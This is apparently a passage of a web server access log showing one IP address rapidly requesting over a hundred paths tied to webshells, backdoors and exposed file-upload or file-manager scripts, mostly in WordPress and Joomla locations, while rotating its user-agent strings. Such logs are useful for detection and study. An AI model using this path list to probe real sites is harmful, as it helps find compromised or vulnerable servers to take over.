"Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /Okxob.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /x123x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /options-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /config/aws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /wefile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /css/xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /.git/execute.php HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /update/da222.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /laravel/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /0xD.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /wp-upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /ew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /wp-aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /wp-freya.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /wp-blogs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /src_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /aves.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /vanda.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:58 +0300] "GET /clss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /wp-ccv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /cache/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /admin/assets/plugins/jQuery-File-Upload/server/php/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /de-ideale-stookmix/wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /wp-includes/Requests/src/Response/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /wp-content/plugins/wps-hide-login/wps-hide-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /wp-content/plugins/wp-diambar/includes/loadme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /assets/images/accesson.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /wp-content/plugins/wp-plugin/wp-plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /assets/plugins/jQuery-File-Upload/server/php/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /wp-content/plugins/wp-default/sh/member.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /wp-includes/ms-pie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /.well-known/logs233/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /assets/plugins/filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /wp-content/plugins/wp-security-scan/secure.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /owncloud/status.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /wp-content/uploads/autodiagnosis.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /wp-content/plugins/all-in-one-wp-security-and-firewall/templates/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:59 +0300] "GET /wp-includes/nav-menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:50:00 +0300] "GET /wp-includes/css/dist/user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:00 +0300] "GET /wp-content/plugins/pwnd/file-js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:00 +0300] "GET /wp-content/mu-plugins/helper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:00 +0300] "GET /wp-admin/images/archive.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:00 +0300] "GET /api/checkorder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:00 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:00 +0300] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:00 +0300] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:00 +0300] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:00 +0300] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:00 +0300] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:00 +0300] "GET /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:00 +0300] "GET /wp-content/plugins/Ultimate_VC_Addons/assets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:00 +0300] "GET /wp-includes/js/dist/script-modules/block-library/search/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:00 +0300] "GET /wp-includes/customize/class-wp-customize-cropped-image-control.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:00 +0300] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:01 +0300] "GET /wp-content/admin-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:01 +0300] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:01 +0300] "GET /wp-content/uploads/system_core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:01 +0300] "GET /wp-includes/css/dist/preferences/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:01 +0300] "GET /wp-includes/blocks/media-text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:01 +0300] "GET /wp-content/plugins/beteng83/ws78.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:01 +0300] "GET /wp-includes/phpmailer/phpmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:01 +0300] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:01 +0300] "GET /plus/90sec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:01 +0300] "GET /.trash7206/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:01 +0300] "GET /storage/framework/views/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:01 +0300] "GET /wp-content/plugins/filester/assets/css/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:01 +0300] "GET /wp-content/plugins/so-pinyin-slugs/inc/main_json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:01 +0300] "GET /wp-includes/blocks/latest-comments/template-loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:01 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:01 +0300] "GET /wp-content/wpvivid_uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:01 +0300] "GET /wp-content/plugins/hello-plus/classes/ehp-sarang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:02 +0300] "GET /wp-content/themes/news-portal/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:02 +0300] "GET /wp-admin/dofault.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:02 +0300] "GET /wp-content/themes/theme-check/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:02 +0300] "GET /wp-content/plugins/advanced-product-fields-for-woocommerce/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:02 +0300] "GET /wp-includes/blocks/nextpage/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:02 +0300] "GET /wp-content/plugins/akismet/views/cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:02 +0300] "GET /wp-admin/includes/nav-menu-trigger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:02 +0300] "GET /wp-includes/link-template-firewall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:50:02 +0300] "GET /assets/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:02 +0300] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:02 +0300] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:02 +0300] "GET /themes/fitnessbase/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:02 +0300] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:02 +0300] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:02 +0300] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:02 +0300] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:02 +0300] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:03 +0300] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:03 +0300] "GET /css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:50:03 +0300] "GET /assets/global/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:03 +0300] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:03 +0300] "GET /wp-includes/SimplePie/src/Decode/HTML/sitemaps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:03 +0300] "GET /wp-includes/mer_gagal.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:03 +0300] "GET /wp-includes/html-api/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:03 +0300] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:03 +0300] "GET /wp-content/uploads/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:03 +0300] "GET /wp-content/uploads/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:50:03 +0300] "GET /wp-includes/rest-api/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:03 +0300] "GET /wp-mail.php/wp-includes/ID3/Core32.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - 